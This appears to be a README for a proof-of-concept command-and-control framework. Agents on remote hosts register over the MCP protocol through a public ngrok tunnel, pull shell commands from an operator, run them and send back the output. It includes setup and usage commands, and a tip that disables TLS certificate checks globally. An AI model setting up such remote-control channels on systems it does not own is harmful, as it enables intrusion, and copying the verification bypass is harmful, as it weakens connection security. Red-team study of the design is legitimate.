
PhantomPipe
HTTP-SSESTDIOLightweight Command & Control framework using MCP protocol and ngrok for remote access.
Lightweight Command & Control framework using MCP protocol and ngrok for remote access.
Lightweight Command & Control over the MCP protocol, exposed via ngrok
A proof‑of‑concept C2 framework that uses Server‑Sent Events (SSE) and the MCP protocol for agent registration, command dispatch, and result collection. By tunneling through ngrok, you can quickly expose your C2 server to the public internet for rapid testing and demonstration.
At a high level, MCP C2 comprises three components:
Server (server.py
)
/mcp
Agent (agent.py
)
CLI Client (client.py
)
All communication goes over the public SSE endpoint provided by ngrok.
flowchart TD %% ────────────────────── Local server ────────────────────── subgraph Local_Server["Local Server"] direction TB Srv["server.py<br/>FastMCP @ port 8000"] Stores["In‑memory Stores:<br/>• agents<br/>• command_queue<br/>• results"] Tools["Registered MCP Tools:<br/>• register_agent()<br/>• enqueue_command()<br/>• get_next_command()<br/>• upload_result()<br/>• get_results()"] Srv --> Stores Srv --> Tools end %% ────────────────────── ngrok tunnel ────────────────────── subgraph Ngrok_Tunnel["ngrok Tunnel"] NG["ngrok<br/>https\://YOUR_ID.ngrok.io ↔ localhost:8000"] end %% ────────────────────── public SSE endpoint ─────────────── subgraph Public_SSE["Public SSE Endpoint"] Pub["/mcp on https\://YOUR_ID.ngrok.io"] end %% ────────────────────── agents (× N) ────────────────────── subgraph Agents["Agents (agent.py) × N"] direction TB A1["1\\. SSE connect → /mcp"] A2["2\\. JSON‑RPC → register_agent(id)"] A3["3\\. Loop: get_next_command()"] A4["4\\. Execute shell command"] A5["5\\. JSON‑RPC → upload_result()"] A1 --> A2 --> A3 --> A4 --> A5 --> A3 end %% ────────────────────── CLI client ──────────────────────── subgraph CLI["CLI Client (client.py)"] direction TB C1["Enqueue:<br/>JSON‑RPC → enqueue_command(agent_id, cmd, args)"] C2["Fetch:<br/>JSON‑RPC → get_results(agent_id)"] end %% ────────────────────── communication flows ─────────────── Srv -- listens on port 8000 --> Ngrok_Tunnel Ngrok_Tunnel -- forwards port --> Public_SSE Public_SSE -- SSE + RPC --> Agents Agents -- RPC --> Public_SSE Public_SSE -- RPC --> CLI CLI -- RPC --> Public_SSE %% ────────────────────── tool interactions ───────────────── Public_SSE -- register_agent --> Tools Tools -- store agent --> Stores Public_SSE -- enqueue_command --> Tools Tools -- append command --> Stores Public_SSE -- get_next_command --> Tools Tools -- read command --> Stores Public_SSE -- upload_result --> Tools Tools -- write result --> Stores Public_SSE -- get_results --> Tools Tools -- read results --> Stores
server.py
runs a FastMCP app on port 8000.register_agent(agent_id)
enqueue_command(agent_id, command, args)
get_next_command(agent_id)
upload_result(agent_id, command_id, exit_code, output)
get_results(agent_id)
ngrok Tunnel
https://<ID>.ngrok.io
).server.py
or manually via:
ngrok http 8000 --region=us
Public SSE Endpoint
/mcp
at the ngrok URL for SSE streams and JSON‑RPC tool calls.Agent (agent.py
)
register_agent()
.get_next_command()
), runs it locally, and uploads the output (upload_result()
).CLI Client (client.py
)
enqueue_command()
) or retrieve (get_results()
) work.Communication Arrows
pip install mcp pyngrok certifi
git clone https://github.com/mbhatt1/PhantomPipe.git cd PhantomPipe
python3 -m venv venv source venv/bin/activate pip install --upgrade pip pip install mcp pyngrok certifi
ngrok authtoken YOUR_NGROK_AUTH_TOKEN
server.py
script auto‑launches ngrok. To run manually:
Note the Forwarding URL (e.g.ngrok http 8000 --region=us
https://abcd1234.ngrok.io
) and append /mcp
for clients.python server.py
[i] Starting ngrok tunnel on port 8000...
[i] Public URL: https://<ID>.ngrok.io/mcp
python agent.py \ --server-url https://<ID>.ngrok.io \ --agent-id myagent
myagent
.python client.py \ --server-url https://<ID>.ngrok.io \ --agent-id myagent \ --command whoami \ --args -a -b
whoami -a -b
to myagent
.python client.py \ --server-url https://<ID>.ngrok.io \ --agent-id myagent \ --history
myagent
.Tool Name | Input Params | Output |
---|---|---|
register_agent | { agent_id: string } | { ok: true } |
enqueue_command | { agent_id, command: string, args: string[] } | { ok: true } |
get_next_command | { agent_id: string } | { command_id, command, args } or empty fields |
upload_result | { agent_id, command_id, exit_code: int, output: string } | { ok: true } |
get_results | { agent_id: string } | [{ command_id, exit_code, output, completed_at }] |
certifi
for CA bundle on macOS.import ssl ssl._create_default_https_context = ssl._create_unverified_context
--agent-id
.git checkout -b feature/your-feature
git push origin feature/your-feature
This project is licensed under the MIT License. See LICENSE for details.
© 2025 Shrewd. Play nice; hack hard.